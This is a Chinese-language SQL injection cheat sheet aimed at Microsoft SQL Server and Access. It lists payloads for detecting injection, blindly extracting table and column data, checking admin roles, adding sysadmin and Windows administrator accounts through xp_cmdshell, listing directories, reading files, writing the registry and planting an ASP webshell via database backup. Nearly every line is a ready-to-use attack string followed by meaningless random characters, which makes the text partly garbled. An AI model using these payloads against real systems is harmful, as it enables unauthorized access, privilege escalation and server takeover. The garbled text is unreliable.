1.判断是否有注入;and 1=1 ;and 1=2 5-^%\?,x
2.初步判断是否是mssql ;and user>0 NJ>p8P`_k
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3.注入参数是字符'and [查询条件] and ''=' L2'd sOn
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' k`TJ<Dv;
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5.判断数据库系统 ImY.HB^&
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;and (select count(*) from sysobjects)>0 mssql KeB4Pae|V
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;and (select count(*) from msysobjects)>0 access )\-";?sYky
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 n#Roz5/U
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 n*Vd<m;w
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 M"^Vf{X^
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9.(1)猜字段的ascii值(access) hyiMOa
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 6;cY!
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(2)猜字段的ascii值(mssql) IY6_JGe_w
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 DYlvxF`
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10.测试权限结构(mssql) toqzS!&.v
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- p{q!jm~Nq
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- q9Sz7_K
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 1?|6odc
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 9K':Fn2,
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- UZP6x2:=
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
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;and 1=(select IS_MEMBER('db_owner'));-- +RV- VrV
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11.添加mssql和系统的帐户 t-i6 FS-
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;exec master.dbo.sp_addlogin username;-- l (,;wAH
;exec master.dbo.sp_password null,username,password;-- ;{f?? G
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- EB5_;
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;exec master.dbo.xp_cmdshell 'net user username password ny(GTKoUz
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- yv)nW::D(
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;exec master.dbo.xp_cmdshell 'net user username password /add';--
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- c~UAr k S
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12.(1)遍历目录 z5`8G =A
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;create table dirs(paths varchar(100), id int) zk5=Opmvh
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 4su_;+]
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;and (select top 1 paths from dirs)>0 'B (eMnLg
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) t{SMSp
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(2)遍历目录 8b:clvh
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- bug Fl>
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 L;
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 3XwU6M$5g
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 oY%"2PW1B
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ')5L_$
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13.mssql中的存储过程 Kr/h`RM
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xp_regenumvalues 注册表根键, 子键 mT6q}``vtG
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Jf?S9r5 Q
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xp_regread 根键,子键,键值名 K)/!&{7n}a
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;exec xp_regread lMBX!9z
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 -4e)N*VVu
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xp_regwrite 根键,子键, 值名, 值类型, 值 N&fW9s}
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 f4'El2>-86
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 T+;H#&
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xp_regdeletevalue 根键,子键,值名 ZU-4})7uSB
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 hIVI\U,
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 jVad)2D
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14.mssql的backup创建webshell n .f4z<
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use model @sw9A93A
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create table cmd(str image); |P~O15V*Q
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insert into cmd(str) values (''); $A;7Em
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backup database model to disk='c:\l.asp'; =Kc|C~g
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15.mssql内置函数 J?UA:u
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;and (select @@version)>0 获得Windows的版本号 {ExII<=6
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa FZe:co8Mu
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;and (select user_name())>0 爆当前系统的连接用户 `d7gm;ykp
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;and (select db_name())>0 得到当前连接的数据库 .E+OmJwD
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16.简洁的webshell (n=9c%w
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use model f).*NX
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create table cmd(str image); /8xH$n&xoC
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insert into cmd(str) values (''); 9p<:=T
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backup database model to disk='g:\wwwtest\l.asp';